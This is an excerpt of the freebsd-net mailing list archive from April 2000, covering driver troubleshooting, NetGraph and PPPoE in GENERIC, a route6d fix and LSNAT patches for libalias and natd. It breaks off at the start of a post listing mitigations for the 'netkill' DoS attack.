(8.9.1/8.9.1) with ESMTP id KAA25833; Thu, 20 Apr 2000 10:58:28 +0200 Message-ID: <38FEC91B.E56606A7@verkstad.net> Date: Thu, 20 Apr 2000 11:08:43 +0200 From: Mattias Pettersson X-Mailer: Mozilla 4.6 [en] (X11; I; FreeBSD 3.2-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: itojun@iijlab.net Cc: snap-users@kame.net, freebsd-net@freebsd.org Subject: Re: ep driver References: <7379.956220528@coconut.itojun.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org itojun@iijlab.net wrote: > > >I'm experiencing a problem on FreeBSD3.4 with pcmcia card 3Com589ET and > >driver ep. I'm using snap 20000403, though I'm not sure this has > >anything to do with IPv6 (but traffic is IPv6). > >Is anyone familiar to if certain network cards reset themselves if they > >are detached for a while? This card seem to drop one (first) outgoing > >packet when re-attached. > > sorry for dumb question and delay, "detached" means pcmcia card > removal, or some other things? > > itojun Oh, sorry, no I mean disconnect cable from hub (or whatever) and thus losing bearer. Card is not hot-swapped. I tried with lnc driver and the problem didn't occur. /Mattias To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Thu Apr 20 2: 0:31 2000 Delivered-To: freebsd-net@freebsd.org Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (Postfix) with ESMTP id 3DB0A37BFF2 for ; Thu, 20 Apr 2000 02:00:29 -0700 (PDT) (envelope-from itojun@itojun.org) Received: from kiwi.itojun.org (localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id SAA07727; Thu, 20 Apr 2000 18:00:26 +0900 (JST) To: snap-users@kame.net Cc: freebsd-net@freebsd.org In-reply-to: eraxpma's message of Thu, 20 Apr 2000 11:08:43 +0200. <38FEC91B.E56606A7@verkstad.net> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: (KAME-snap 2275) Re: ep driver From: itojun@iijlab.net Date: Thu, 20 Apr 2000 18:00:26 +0900 Message-ID: <7725.956221226@coconut.itojun.org> Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >> sorry for dumb question and delay, "detached" means pcmcia card >> removal, or some other things? >Oh, sorry, no I mean disconnect cable from hub (or whatever) and thus >losing bearer. Card is not hot-swapped. >I tried with lnc driver and the problem didn't occur. I'm not expert on this, but does this have something to do with autonegotiation? what happens if you use 10Mbps (dumb) hub? itojun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Thu Apr 20 2: 6:52 2000 Delivered-To: freebsd-net@freebsd.org Received: from solo.verkstad.net (solo.verkstad.net [192.71.20.34]) by hub.freebsd.org (Postfix) with ESMTP id 756D437B6E1 for ; Thu, 20 Apr 2000 02:06:38 -0700 (PDT) (envelope-from eraxpma@verkstad.net) Received: from verkstad.net (6bone-gw.testbed.era.ericsson.se [192.71.20.105]) by solo.verkstad.net (8.9.1/8.9.1) with ESMTP id LAA25891; Thu, 20 Apr 2000 11:06:31 +0200 Message-ID: <38FECAFF.5C89540@verkstad.net> Date: Thu, 20 Apr 2000 11:16:47 +0200 From: Mattias Pettersson X-Mailer: Mozilla 4.6 [en] (X11; I; FreeBSD 3.2-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: snap-users@kame.net Cc: freebsd-net@freebsd.org Subject: Re: (KAME-snap 2276) Re: ep driver References: <7725.956221226@coconut.itojun.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org itojun@iijlab.net wrote: > >Oh, sorry, no I mean disconnect cable from hub (or whatever) and thus > >losing bearer. Card is not hot-swapped. > >I tried with lnc driver and the problem didn't occur. > > I'm not expert on this, but does this have something to do with > autonegotiation? what happens if you use 10Mbps (dumb) hub? That's what I use. 3C589E only supports 10Mb. /Mattias To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Thu Apr 20 10:34:17 2000 Delivered-To: freebsd-net@freebsd.org Received: from virtation.com (duo.virtation.com [209.46.51.22]) by hub.freebsd.org (Postfix) with SMTP id EB56137B69A for ; Thu, 20 Apr 2000 10:34:13 -0700 (PDT) (envelope-from speterson@virtation.com) Received: (qmail 9910 invoked from network); 20 Apr 2000 17:34:04 -0000 Received: from whist.virtation.com (HELO whist) (209.46.51.18) by duo.virtation.com with SMTP; 20 Apr 2000 17:34:04 -0000 Message-Id: <4.2.2.20000420122909.039d9140@mail.virtation.com> X-Sender: stevep@mail.virtation.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Apr 2000 12:34:04 -0500 To: freebsd-doc@freebsd.org, freebsd-net@freebsd.org From: Steve Peterson Subject: Draft bridging chapter for handbook Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Having just gone through the work to set up bridging on FreeBSD 4.0, I thought I'd take a whack at writing a manual section on it. It's at http://www.virtation.com/home/stevep/freebsd-bridging.txt and I'd appreciate your feedback. I'm not a subscriber to these lists, so if you could copy me directly with your comments that would be great. Steve Peterson -- Steve Peterson +1 952 948 9729 Principal Consultant FAX +1 612 677 3050 Virtation Technologies, Inc. http://virtation.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Thu Apr 20 10:43:28 2000 Delivered-To: freebsd-net@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id C1C0C37B73E for ; Thu, 20 Apr 2000 10:43:23 -0700 (PDT) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id NAA34651 for ; Thu, 20 Apr 2000 13:43:22 -0400 (EDT) (envelope-from robert@cyrus.watson.org) Date: Thu, 20 Apr 2000 13:43:22 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org To: freebsd-net@freebsd.org Subject: NETGRAPH in GENERIC? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Was chatting with Mike online, and we observed that more and more DSL providers are providing PPPoE by default in many parts of North America. Right now, this requires recompiling the kernel to support NetGraph as otherwise you don't get ethernet netgraph nodes. He also observed that compiling in NetGraph support added only around 20k to his kernel size (I haven't checked GENERIC). This suggests strongly to me that we should add NetGraph being to GENERIC, as this would allow kld-loading support for PPPoE and other spiffy things by default without a kernel recompile. Also, this suggests adding PPPoE support to sysinstall, although I recognize that that's a little more complex than modifying GENERIC :-). I was wondering what objections there would be to such a change, and whether people think this is a good idea. In particular, I was interested in response from those who know more about NetGraph than I do (almost everyone). Thanks, Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Thu Apr 20 14:23: 3 2000 Delivered-To: freebsd-net@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 0482437B543; Thu, 20 Apr 2000 14:23:00 -0700 (PDT) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id RAA06496; Thu, 20 Apr 2000 17:22:54 -0400 (EDT) (envelope-from wollman) Date: Thu, 20 Apr 2000 17:22:54 -0400 (EDT) From: Garrett Wollman Message-Id: <200004202122.RAA06496@khavrinen.lcs.mit.edu> To: Robert Watson Cc: freebsd-net@FreeBSD.ORG Subject: NETGRAPH in GENERIC? In-Reply-To: References: Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org < said: > I was wondering what objections there would be to such a change, and > whether people think this is a good idea. This sounds like a good idea to me. I'm not particularly fond of Netgraph, personally, but it's a good deal better than the alternatives. (If cable-modem open access comes about, expect to see those vendors doing PPPoE as well. Ick.) -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Thu Apr 20 15:29:28 2000 Delivered-To: freebsd-net@freebsd.org Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51]) by hub.freebsd.org (Postfix) with ESMTP id 9CDA437B6BD for ; Thu, 20 Apr 2000 15:29:22 -0700 (PDT) (envelope-from justin@rhapture.apple.com) Received: from mailgate2.apple.com (A17-129-100-225.apple.com [17.129.100.225]) by mail-out2.apple.com (8.9.3/8.9.3) with ESMTP id PAA22708 for ; Thu, 20 Apr 2000 15:29:20 -0700 (PDT) Received: from scv3.apple.com (scv3.apple.com) by mailgate2.apple.com (Content Technologies SMTPRS 2.0.15) with ESMTP id for ; Thu, 20 Apr 2000 15:29:17 -0700 Received: from rhapture.apple.com (rhapture.apple.com [17.202.40.59]) by scv3.apple.com (8.9.3/8.9.3) with ESMTP id PAA28537 for ; Thu, 20 Apr 2000 15:29:17 -0700 (PDT) Received: (from justin@localhost) by rhapture.apple.com (8.9.1/8.9.1) id PAA02617 for freebsd-net@FreeBSD.ORG; Thu, 20 Apr 2000 15:29:17 -0700 (PDT) Message-Id: <200004202229.PAA02617@rhapture.apple.com> To: freebsd-net@freebsd.org Subject: Re: NETGRAPH in GENERIC? In-Reply-To: Date: Thu, 20 Apr 2000 15:29:15 -0700 From: "Justin C. Walker" Reply-To: justin@apple.com X-Mailer: by Apple MailViewer (2.105.dev) Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > From: Garrett Wollman > Date: 2000-04-20 14:24:29 -0700 > To: Robert Watson > Subject: NETGRAPH in GENERIC? > Cc: freebsd-net@FreeBSD.ORG > In-reply-to: > > X-Loop: FreeBSD.org > Delivered-to: freebsd-net@freebsd.org > > < said: > > > I was wondering what objections there would be to such a change, and > > whether people think this is a good idea. > > This sounds like a good idea to me. I'm not particularly fond of > Netgraph, personally, but it's a good deal better than the > alternatives. (If cable-modem open access comes about, expect to see > those vendors doing PPPoE as well. Ick.) It's heading your way...if you get cable modem or dsl service in the Bay Area now, at least from the larger providers, you will likely need PPPoE support. It's the wave of the future, at least for right now :-}. Regards, Justin -- Justin C. Walker, Curmudgeon-At-Large * Institute for General Semantics | Manager, CoreOS Networking | Men are from Earth. Apple Computer, Inc. | Women are from Earth. 2 Infinite Loop | Deal with it. Cupertino, CA 95014 | *-------------------------------------*-------------------------------* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Thu Apr 20 22:44:28 2000 Delivered-To: freebsd-net@freebsd.org Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (Postfix) with ESMTP id 7FE5B37B944 for ; Thu, 20 Apr 2000 22:44:25 -0700 (PDT) (envelope-from itojun@itojun.org) Received: from kiwi.itojun.org (localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id OAA22056; Fri, 21 Apr 2000 14:44:22 +0900 (JST) To: Koji Baba Cc: freebsd-net@FreeBSD.ORG In-reply-to: baba's message of Fri, 21 Apr 2000 14:41:47 JST. <4.2.0.58.J.20000421142848.00aabf00@igloo.kddcom.co.jp> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: release-4.0 route6d terminates From: itojun@iijlab.net Date: Fri, 21 Apr 2000 14:44:22 +0900 Message-ID: <22054.956295862@coconut.itojun.org> Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >> looks to be this one. please let KAME team know if this fixes >> your problem. >> http://www.kame.net/dev/cvsweb.cgi/kame/kame/kame/route6d/route6d.c.diff?r1=1.14&r2=1.15 >Though I am not using kame-kit on this FreeBSD-4.0 platform, >the patch seems to make route6d stable. usr.sbin/route6d in FreeBSD 4.0-RELEASE was imported from KAME (based on some version in the past). itojun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Fri Apr 21 9:43:56 2000 Delivered-To: freebsd-net@freebsd.org Received: from relay.ucb.crimea.ua (relay.ucb.crimea.ua [212.110.138.1]) by hub.freebsd.org (Postfix) with ESMTP id D528A37BA5A for ; Fri, 21 Apr 2000 09:43:25 -0700 (PDT) (envelope-from ru@ucb.crimea.ua) Received: (from ru@localhost) by relay.ucb.crimea.ua (8.9.3/8.9.3/UCB) id TAA09516; Fri, 21 Apr 2000 19:39:01 +0300 (EEST) (envelope-from ru) Date: Fri, 21 Apr 2000 19:39:01 +0300 From: Ruslan Ermilov To: Archie Cobbs , Ari Suutari , Brian Somers , Charles Mott , Eivind Eklund , Julian Elischer Cc: net@FreeBSD.ORG Subject: LSNAT for libalias(3) Message-ID: <20000421193901.B1125@relay.ucb.crimea.ua> Mail-Followup-To: Archie Cobbs , Ari Suutari , Brian Somers , Charles Mott , Eivind Eklund , Julian Elischer , net@FreeBSD.ORG Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=Nq2Wo0NMKNjxTN9z X-Mailer: Mutt 0.95.3i Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --Nq2Wo0NMKNjxTN9z Content-Type: text/plain; charset=us-ascii Hi! The following two patches add LSNAT capability (described in RFC 2391) to libalias(3) and natd(8). LSNAT links are created by PacketAliasRedirectPort() and then set up by one or more calls to PacketAliasAddServer(). Each call to PacketAliasAddServer() adds a SERVER:PORT pair to the pool of servers. For every *new* incoming session, the SERVER:PORT pair is chosen from the pool in a round-robin fashion, and a new aliasing link is created. LSNAT links are ignored for outgoing sessions. The following command # natd -n ed1 -lsnat tcp WebPool:http www1:http www2:http www3:http will transparently distribute the HTTP service on WebPool between three servers: www1, www2 and www3. As always, your comments/questions/suggestions are highly appreciated. Cheers, -- Ruslan Ermilov Sysadmin and DBA of the ru@ucb.crimea.ua United Commercial Bank, ru@FreeBSD.org FreeBSD committer, +380.652.247.647 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age --Nq2Wo0NMKNjxTN9z Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="libalias.patch" Index: alias.h =================================================================== RCS file: /usr/FreeBSD-CVS/src/lib/libalias/alias.h,v retrieving revision 1.14 diff -u -p -r1.14 alias.h --- alias.h 2000/04/18 10:18:20 1.14 +++ alias.h 2000/04/21 15:46:56 @@ -52,6 +52,11 @@ struct alias_link; u_char); extern int + PacketAliasAddServer(struct alias_link *link, + struct in_addr addr, + u_short port); + + extern int PacketAliasPptp(struct in_addr); extern struct alias_link * Index: alias_db.c =================================================================== RCS file: /usr/FreeBSD-CVS/src/lib/libalias/alias_db.c,v retrieving revision 1.27 diff -u -p -r1.27 alias_db.c --- alias_db.c 2000/04/18 10:18:20 1.27 +++ alias_db.c 2000/04/21 15:48:25 @@ -237,6 +237,13 @@ struct tcp_dat int fwhole; /* Which firewall record is used for this hole? */ }; +struct server /* LSNAT server pool (circular list) */ +{ + struct in_addr addr; + u_short port; + struct server *next; +}; + struct alias_link /* Main data structure */ { struct in_addr src_addr; /* Address and port information */ @@ -247,6 +254,7 @@ struct alias_link /* Main u_short dst_port; u_short alias_port; u_short proxy_port; + struct server *server; int link_type; /* Type of link: TCP, UDP, ICMP, PPTP, frag */ @@ -778,6 +786,17 @@ DeleteLink(struct alias_link *link) ClearFWHole(link); #endif +/* Free memory allocated for LSNAT server pool */ + if (link->server != NULL) { + struct server *head, *curr, *next; + + head = curr = link->server; + do { + next = curr->next; + free(curr); + } while ((curr = next) != head); + } + /* Adjust output table pointers */ link_last = link->last_out; link_next = link->next_out; @@ -871,6 +890,7 @@ AddLink(struct in_addr src_addr, link->src_port = src_port; link->dst_port = dst_port; link->proxy_port = 0; + link->server = NULL; link->link_type = link_type; link->sockfd = -1; link->flags = 0; @@ -1044,6 +1064,7 @@ _FindLinkOut(struct in_addr src_addr, while (link != NULL) { if (link->src_addr.s_addr == src_addr.s_addr + && link->server == NULL && link->dst_addr.s_addr == dst_addr.s_addr && link->dst_port == dst_port && link->src_port == src_port @@ -1207,39 +1228,39 @@ _FindLinkIn(struct in_addr dst_addr, if (link_fully_specified != NULL) { link_fully_specified->timestamp = timeStamp; - return link_fully_specified; + link = link_fully_specified; } else if (link_unknown_dst_port != NULL) - { - return replace_partial_links - ? ReLink(link_unknown_dst_port, - link_unknown_dst_port->src_addr, dst_addr, alias_addr, - link_unknown_dst_port->src_port, dst_port, alias_port, - link_type) - : link_unknown_dst_port; - } + link = link_unknown_dst_port; else if (link_unknown_dst_addr != NULL) - { - return replace_partial_links - ? ReLink(link_unknown_dst_addr, - link_unknown_dst_addr->src_addr, dst_addr, alias_addr, - link_unknown_dst_addr->src_port, dst_port, alias_port, - link_type) - : link_unknown_dst_addr; - } + link = link_unknown_dst_addr; else if (link_unknown_all != NULL) - { - return replace_partial_links - ? ReLink(link_unknown_all, - link_unknown_all->src_addr, dst_addr, alias_addr, - link_unknown_all->src_port, dst_port, alias_port, - link_type) - : link_unknown_all; - } + link = link_unknown_all; else + return (NULL); + + if (replace_partial_links && + (link->flags & LINK_PARTIALLY_SPECIFIED || link->server != NULL)) { - return(NULL); + struct in_addr src_addr; + u_short src_port; + + if (link->server != NULL) { /* LSNAT link */ + src_addr = link->server->addr; + src_port = link->server->port; + link->server = link->server->next; + } else { + src_addr = link->src_addr; + src_port = link->src_port; + } + + link = ReLink(link, + src_addr, dst_addr, alias_addr, + src_port, dst_port, alias_port, + link_type); } + + return (link); } static struct alias_link * @@ -2035,6 +2056,7 @@ UninitPacketAliasLog(void) -- "outside world" means other than alias*.c routines -- PacketAliasRedirectPort() + PacketAliasAddServer() PacketAliasRedirectPptp() PacketAliasRedirectAddr() PacketAliasRedirectDelete() @@ -2090,6 +2112,36 @@ PacketAliasRedirectPort(struct in_addr s #endif return link; +} + +/* Add server to the pool of servers */ +int +PacketAliasAddServer(struct alias_link *link, struct in_addr addr, u_short port) +{ + struct server *server; + + server = malloc(sizeof(struct server)); + + if (server != NULL) { + struct server *head; + + server->addr = addr; + server->port = port; + + head = link->server; + if (head == NULL) + server->next = server; + else { + struct server *s; + + for (s = head; s->next != head; s = s->next); + s->next = server; + server->next = head; + } + link->server = server; + return (0); + } else + return (-1); } /* Translate PPTP packets to a machine on the inside --Nq2Wo0NMKNjxTN9z Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="natd.patch" Index: natd.c =================================================================== RCS file: /usr/FreeBSD-CVS/src/sbin/natd/natd.c,v retrieving revision 1.25 diff -u -p -r1.25 natd.c --- natd.c 2000/02/25 11:34:38 1.25 +++ natd.c 2000/04/21 15:49:18 @@ -89,6 +89,7 @@ static void RefreshAddr (int); static void ParseOption (const char* option, const char* parms, int cmdLine); static void ReadConfigFile (const char* fileName); static void SetupPortRedirect (const char* parms); +static void SetupLsNatRedirect (const char* parms); static void SetupAddressRedirect (const char* parms); static void SetupPptpAlias (const char* parms); static void StrToAddr (const char* str, struct in_addr* addr); @@ -857,6 +858,7 @@ enum Option { AliasAddress, InterfaceName, RedirectPort, + LsNat, RedirectAddress, ConfigFile, DynamicMode, @@ -1027,6 +1029,14 @@ static struct OptionInfo optionTable[] = "redirect_port", NULL }, + { LsNat, + 0, + String, + "tcp|udp [public_addr:]public_port local_addr:local_port ...", + "load sharing on a port", + "lsnat", + NULL }, + { RedirectAddress, 0, String, @@ -1196,6 +1206,10 @@ static void ParseOption (const char* opt SetupPortRedirect (strValue); break; + case LsNat: + SetupLsNatRedirect (strValue); + break; + case RedirectAddress: SetupAddressRedirect (strValue); break; @@ -1454,6 +1468,82 @@ void SetupPortRedirect (const char* parm htons(publicPort + i), proto); } +} + +void SetupLsNatRedirect (const char* parms) +{ + char buf[128]; + char* ptr; + struct in_addr localAddr; + struct in_addr publicAddr; + struct in_addr remoteAddr; + port_range portRange; + u_short localPort = 0; + u_short publicPort = 0; + u_short remotePort = 0; + int proto; + char* protoName; + char* separator; + struct alias_link *link; + + strcpy (buf, parms); +/* + * Extract protocol. + */ + protoName = strtok (buf, " \t"); + if (!protoName) + errx (1, "lsnat: missing protocol"); + + proto = StrToProto (protoName); +/* + * Extract public port and optionally address. + */ + ptr = strtok (NULL, " \t"); + if (!ptr) + errx (1, "lsnat: missing public port"); + + separator = strchr (ptr, ':'); + if (separator) { + if (StrToAddrAndPortRange (ptr, &publicAddr, protoName, &portRange) != 0 ) + errx (1, "lsnat: invalid public port range"); + } + else { + publicAddr.s_addr = INADDR_ANY; + if (StrToPortRange (ptr, protoName, &portRange) != 0) + errx (1, "lsnat: invalid public port range"); + } + + publicPort = GETLOPORT(portRange); + + localAddr.s_addr = INADDR_NONE; + localPort = ~0; + + remoteAddr.s_addr = INADDR_ANY; + remotePort = 0; + + link = PacketAliasRedirectPort (localAddr, + htons(localPort), + remoteAddr, + htons(remotePort), + publicAddr, + htons(publicPort), + proto); + if (link == NULL) + errx (1, "lsnat: cannot create link"); +/* + * Extract local address and port. + */ + ptr = strtok (NULL, " \t"); + if (!ptr) + errx (1, "lsnat: missing local address"); + + do { + if (StrToAddrAndPortRange (ptr, &localAddr, protoName, &portRange) != 0) + errx (1, "lsnat: invalid local port range"); + localPort = GETLOPORT(portRange); + (void)PacketAliasAddServer(link, localAddr, htons(localPort)); + } while ((ptr = strtok (NULL, " \t")) != NULL); + } void SetupAddressRedirect (const char* parms) --Nq2Wo0NMKNjxTN9z-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Fri Apr 21 10:53:21 2000 Delivered-To: freebsd-net@freebsd.org Received: from gto.networkphysics.com (DNS1.networkphysics.com [63.194.71.40]) by hub.freebsd.org (Postfix) with ESMTP id BD38237BC79; Fri, 21 Apr 2000 10:53:18 -0700 (PDT) (envelope-from pavel@hemi.networkphysics.com) Received: from hemi.networkphysics.com (hemi.networkphysics.com [10.1.0.30]) by gto.networkphysics.com (8.9.3/8.9.3) with ESMTP id KAA84271; Fri, 21 Apr 2000 10:53:18 -0700 (PDT) (envelope-from pavel@hemi.networkphysics.com) Message-Id: <200004211753.KAA84271@gto.networkphysics.com> To: freebsd-net@FreeBSD.ORG Cc: Robert Watson Subject: Re: NETGRAPH in GENERIC? In-Reply-To: Message from Robert Watson of "Thu, 20 Apr 2000 13:43:22 EDT." Date: Fri, 21 Apr 2000 10:53:18 -0700 From: Tom Pavel Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >>>>> On Thu, 20 Apr 2000, Robert Watson writes: > Was chatting with Mike online, and we observed that more and more DSL > providers are providing PPPoE by default in many parts of North America. > Right now, this requires recompiling the kernel to support NetGraph as > otherwise you don't get ethernet netgraph nodes. He also observed that > compiling in NetGraph support added only around 20k to his kernel size (I > haven't checked GENERIC). This suggests strongly to me that we should add > NetGraph being to GENERIC, as this would allow kld-loading support for > PPPoE and other spiffy things by default without a kernel recompile. I'm all for this suggestion, but I should point out some oddities I've discovered about KLD-loading the netgraph modules (see http://www.FreeBSD.org/cgi/getmsg.cgi?fetch=35688+39350+/usr/local/www/db/text/2000/freebsd-net/20000319.freebsd-net). Because the ethernet nodes are only created if /sys/net/if_ethersubr.c is compiled with -DNETGRAPH, I think the netgraph.ko module is completely useless and that the netgraph system only works if option NETGRAPH is in the kernel config. This is essentially what Robert said, but I may be overstating the point (for example, if one is only interested in serial-line netgraph uses without ethernet). I propose, however, that having "KMODDEPS=netgraph" in all of the /sys/modules/netgraph/*/Makefile is a mistake, and should be removed. This causes the problem with double copies of the netgraph base code that I reported in the Mar.19 posting cited above, which makes netgraph streams completely fail. I've tested netgraph modules without the dependency, and they work fine for me (with option NETGRAPH and NETGRAPH_SOCKET compiled into my kernel). The real underlying problem may be in the KLD system or how the module declarations are coded in netgraph, but I'm unable to see a solution on that path. With the NETGRAPH option in the GENERIC kernel and the KMODDEPS removed from the individual netgraph modules, I believe everything will work fine. Tom Pavel Network Physics pavel@networkphysics.com / pavel@alum.mit.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Fri Apr 21 23:42: 6 2000 Delivered-To: freebsd-net@freebsd.org Received: from v6.kddcom.co.jp (igloo.kddcom.co.jp [210.142.34.36]) by hub.freebsd.org (Postfix) with SMTP id C801F37B96A for ; Fri, 21 Apr 2000 23:42:03 -0700 (PDT) (envelope-from baba@kddcom.co.jp) Received: (qmail 572 invoked from network); 21 Apr 2000 05:41:55 -0000 Received: from baba.kddcom.co.jp (HELO baba) (210.142.34.11) by igloo.kddcom.co.jp with SMTP; 21 Apr 2000 05:41:55 -0000 Message-Id: <4.2.0.58.J.20000421142848.00aabf00@igloo.kddcom.co.jp> X-Sender: baba@igloo.kddcom.co.jp X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58.J Date: Fri, 21 Apr 2000 14:41:47 +0900 To: itojun@iijlab.net From: Koji Baba Subject: Re: release-4.0 route6d terminates Cc: freebsd-net@FreeBSD.ORG In-Reply-To: <6121.956215522@coconut.itojun.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello. At 16:25 00/04/20 , itojun@iijlab.net wrote: > >>My route6d terminates with following messages. >>What kind of interface is this 'interface 11'? >>Unknown interface 11: Interrupted system call >>Any suggestion welcome. >>Thanks. > > looks to be this one. please let KAME team know if this fixes > your problem. > http://www.kame.net/dev/cvsweb.cgi/kame/kame/kame/route6d/route6d.c.diff?r1=1.14&r2=1.15 > Though I am not using kame-kit on this FreeBSD-4.0 platform, the patch seems to make route6d stable. Thanks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Sat Apr 22 3:58:26 2000 Delivered-To: freebsd-net@freebsd.org Received: from sprocket.cs.sunyit.edu (sprocket.cs.sunyit.edu [192.52.220.50]) by hub.freebsd.org (Postfix) with ESMTP id 82CE837B79E for ; Sat, 22 Apr 2000 03:58:20 -0700 (PDT) (envelope-from mathiad@sprocket.cs.sunyit.edu) Received: (from mathiad@localhost) by sprocket.cs.sunyit.edu (8.9.3/8.9.3) id QAA42537 for freebsd-net@freebsd.org; Wed, 10 Apr 1996 16:42:45 -0400 (EDT) (envelope-from mathiad) Date: Wed, 10 Apr 1996 16:42:45 -0400 (EDT) From: Dennis Mathiasen Message-Id: <199604102042.QAA42537@sprocket.cs.sunyit.edu> To: freebsd-net@freebsd.org Subject: Subscribe freebsd-net Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org subscribe freebsd-net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Sat Apr 22 4:22:19 2000 Delivered-To: freebsd-net@freebsd.org Received: from dogmodem2.cs.sunyit.edu (dogmodem2.cs.sunyit.edu [192.52.220.192]) by hub.freebsd.org (Postfix) with ESMTP id 9FD4037B64E for ; Sat, 22 Apr 2000 04:22:16 -0700 (PDT) (envelope-from root@dogmodem2.cs.sunyit.edu) Received: (from root@localhost) by dogmodem2.cs.sunyit.edu (8.9.3/8.9.3) id IAA12398 for freebsd-net@freebsd.org; Sat, 22 Apr 2000 08:22:27 -0400 (EDT) (envelope-from root) Date: Sat, 22 Apr 2000 08:22:27 -0400 (EDT) From: Charlie Root Message-Id: <200004221222.IAA12398@dogmodem2.cs.sunyit.edu> To: freebsd-net@freebsd.org Subject: subscribe Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org subscribe freebsd-net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Sat Apr 22 8:29:47 2000 Delivered-To: freebsd-net@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 6F4AB37B705 for ; Sat, 22 Apr 2000 08:29:24 -0700 (PDT) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id LAA01002 for ; Sat, 22 Apr 2000 11:29:22 -0400 (EDT) (envelope-from robert@cyrus.watson.org) Date: Sat, 22 Apr 2000 11:29:22 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org To: freebsd-net@freebsd.org Subject: netkill - generic remote DoS attack (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The easy solutions that come to mind all increase the brittleness of the network, but are probably better than being toasted: 1) Decrease timeout on connections that don't respond to ACKs 2) Enable 